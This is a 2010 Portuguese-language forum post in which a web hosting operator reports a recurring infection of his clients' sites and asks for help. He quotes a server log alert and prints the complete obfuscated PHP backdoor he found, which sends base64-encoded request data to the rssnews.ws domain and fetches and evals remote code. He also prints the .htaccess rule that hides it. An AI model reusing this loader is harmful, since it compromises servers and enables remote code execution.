Vírus / Backdoor - rssnews.ws
1. Vírus / Backdoor - rssnews.ws
raphaelfx
(usa Outra)
Enviado em 09/07/2010 - 23:43h
Olá pessoal,Ultimamente percebi que todos meus clientes do servidor estava com arquivos php suspeitos em suas hospedagem.
Todos meus clientes estão com arquivos numéricos php (exemplo: 45310.php), dei uma analisada nos logs e vi a seguinte mensagem:
ALERT - Include filename ('http://ads.rssnews.ws/?cmFwaGFlbGdhcmNlei5jb20=.cmFwaGFlbGdhcmNlei5jb20=.L21hcml6YS93cC1jb250ZW50L3VwbG9hZHMvYnVjZXRhcy12b3lldXItZm90b3MtbWVuaW5hcy5odG1s.L21hcml6YS93cC1jb250ZW50L3VwbG9hZHMvMTIxMDQzLnBocA==...TW96aWxsYS81LjAgKGNvbXBhdGlibGU7IFlhaG9vISBTbHVycC8zLjA7IGh0dHA6Ly9oZWxwLnlhaG9vLmNvbS9oZWxwL3VzL3lzZWFyY2gvc2x1cnAp.NjcuMTk1LjExMC4xNzI=.e.L2hvbWUvcmFwaGFlbGcvcHVibGljX2h0bWwvbWFyaXphL3dwLWNvbnRlbnQvdXBsb2Fkcy8xMjEwNDMucGhw.ZW4tdXMsZW47cT0wLjU=') is an URL that is not allowed (attacker '67.195.110.172', file '/home/raphaelg/public_html/mariza/wp-content/uploads/121043.php', line 1)
Aparecem milhares de erros como este, porém um em cada pasta de meus clientes.
Não entendi muito bem este "attacker" já que em algumas vezes aparece meu próprio ip como attacker.
Buscando no google dizem ser comum este "virus" que eles mesmo chamam de rssnews.ws, porém que ninguém acha uma solução.
Ele cria arquivos por todo servidor com nomes aleatórios o que dificulta a remoção dos mesmos, também percebi que ele cria junto um .htaccess.
Já passei chkrootkit e rkhunter também e não detectou nada.
Agora segue o contéudo dos arquivos que ele cria:
<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cnNzbmV3cy53cw==");if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="a8e5a8ba27216d9652ea2903c861325d") $f=$_REQUEST["id"];if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);else{$[*****]=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($[*****],CURLOPT_RETURNTRANSFER,1);$o=curl_exec($[*****]);curl_close($[*****]);eval($o);};die(); ?>
Segue abaixo o contéudo do .htaccess que acompanha todos os phps:
Options -MultiViews
ErrorDocument 404 //mariza/wp-content/uploads/121043.php
Pelo que entendi o .htaccess tenta mascarar este arquivo.
Não sei por onde ele entrou, no google diz que ele usa uma falha de wordpress, o problema que ele esta por todo servidor em todos clientes, inclusive com os que não possui wordpress.
O vírus parece antigo a primeira versão dele é de 2 anos atrás e ele continua rodeando a rede.
Estou perdido, por enquanto isto não causou nada de grave no servidor. Tenho monitorado 24horas e até agora não sofri nenhuma invasão.
Se alguém souber como este problema pode ser resolvido, ficarei muito agradecido. Inclusive estou dando uma pequena remuneração como incentivo para o pessoal.
Sei um pouco de linux mas dessa vez eu travei mesmo, a 2 dias rodei um "find" para tentar localizar todos arquivos, consegui localizar todos e apaguei os mesmo, porém em 4 dias já estava espalhado por todo servidor novamente.
Atenciosamente,
Raphael Garcez
Voa Host
A maior comunidade GNU/Linux da América Latina! Artigos, dicas, tutoriais, fórum, scripts e muito mais. Ideal para quem busca auto-ajuda.
Site hospedado por:
